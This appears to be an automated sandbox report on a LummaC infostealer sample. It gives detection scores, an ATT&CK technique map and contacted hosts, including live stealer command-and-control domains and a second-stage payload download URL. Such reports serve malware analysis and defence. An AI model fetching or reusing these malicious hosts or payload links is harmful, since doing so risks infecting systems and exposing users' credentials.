Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2182868454.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZvHSpovhDw.exe PID: 3364, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ZvHSpovhDw.exe PID: 3364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZvHSpovhDw.exe	61%	ReversingLabs	Win32.Infostealer.Tinba
ZvHSpovhDw.exe	56%	Virustotal		Browse
ZvHSpovhDw.exe	100%	Avira	TR/Crypt.TPM.Gen
ZvHSpovhDw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/BH3	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api0	100%	Avira URL Cloud	malware
https://mindhandru.buzz/TS6	100%	Avira URL Cloud	malware
https://mindhandru.buzz/pt	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apid	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeat	0%	Avira URL Cloud	safe
http://185.215.113.16/.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_100.5.dr	false		high
https://duckduckgo.com/chrome_newtab	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/BH3	ZvHSpovhDw.exe, 00000000.00000003.2153098332.000000000538A000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2153514978.0000000005391000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2180458111.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2259650390.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2204588573.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_100.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://mindhandru.buzz/api0	ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_100.5.dr	false		high
https://mindhandru.buzz/pi	ZvHSpovhDw.exe, 00000000.00000003.2261090627.0000000000B34000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeat	ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_127.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_100.5.dr	false		high
https://mindhandru.buzz:443/api	ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_100.5.dr	false		high
https://mindhandru.buzz/pt	ZvHSpovhDw.exe, 00000000.00000003.2261090627.0000000000B34000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2221646946.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_100.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://github.com/gewarren	chromecache_100.5.dr	false		high
https://mindhandru.buzz/TS6	ZvHSpovhDw.exe, 00000000.00000003.2180458111.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_100.5.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	ZvHSpovhDw.exe, 00000000.00000002.2427914677.00000000008FA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_100.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_100.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://aka.ms/certhelp	chromecache_107.5.dr, chromecache_127.5.dr	false		high
http://go.mi	ZvHSpovhDw.exe, 00000000.00000002.2434482660.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apid	ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/	ZvHSpovhDw.exe, 00000000.00000003.2282004401.0000000005392000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2129357333.000000000537B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_100.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_100.5.dr	false		high
https://schema.org	chromecache_127.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://www.ecosia.org/newtab/	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ZvHSpovhDw.exe, 00000000.00000003.2154918317.000000000561F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_100.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_100.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	ZvHSpovhDw.exe, 00000000.00000003.2155403756.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_100.5.dr	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_107.5.dr, chromecache_127.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	ZvHSpovhDw.exe, 00000000.00000003.2153990615.00000000053BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_107.5.dr, chromecache_127.5.dr	false		high
http://185.215.113.16/.	ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_107.5.dr, chromecache_127.5.dr	false		high
http://185.215.113.16/off/def.exe	ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353707292.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_100.5.dr	false		high
https://channel9.msdn.com/	chromecache_107.5.dr, chromecache_127.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ZvHSpovhDw.exe, 00000000.00000003.2105645944.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105716366.000000000533B000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105583787.000000000533E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_107.5.dr, chromecache_127.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.165.185	unknown	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581232
Start date and time:	2024-12-27 08:53:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZvHSpovhDw.exe renamed because original name is a hash value
Original Sample Name:	324d6e34a64ebcf92fa3b8fdeff6ac05.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@12/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.21.35, 23.218.210.69, 142.250.181.142, 173.194.220.84, 2.20.41.214, 13.89.179.11, 23.32.238.130, 2.19.198.56, 142.250.181.10, 172.217.19.202, 172.217.19.234, 172.217.17.74, 172.217.17.42, 142.250.181.74, 172.217.19.10, 142.250.181.42, 142.250.181.106, 142.250.181.138, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 172.217.19.206, 172.202.163.200, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, onedscolprdcus15.centralus.cloudapp.azure.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.co
Execution Graph export aborted for target ZvHSpovhDw.exe, PID 3364 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:54:25	API Interceptor	39x Sleep call for process: ZvHSpovhDw.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	script.ps1	Get hash	malicious	Vidar	Browse
172.67.165.185	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
s-part-0035.t-0009.t-msedge.net	60Zxcx88Uv.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	1fi2LiofgW.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	54861 Proforma Invoice AMC2273745.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	TAX INVOICE - NBO2506000632.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer.bat	Get hash	malicious	Vidar	Browse	13.107.246.63
	din.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	lem.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
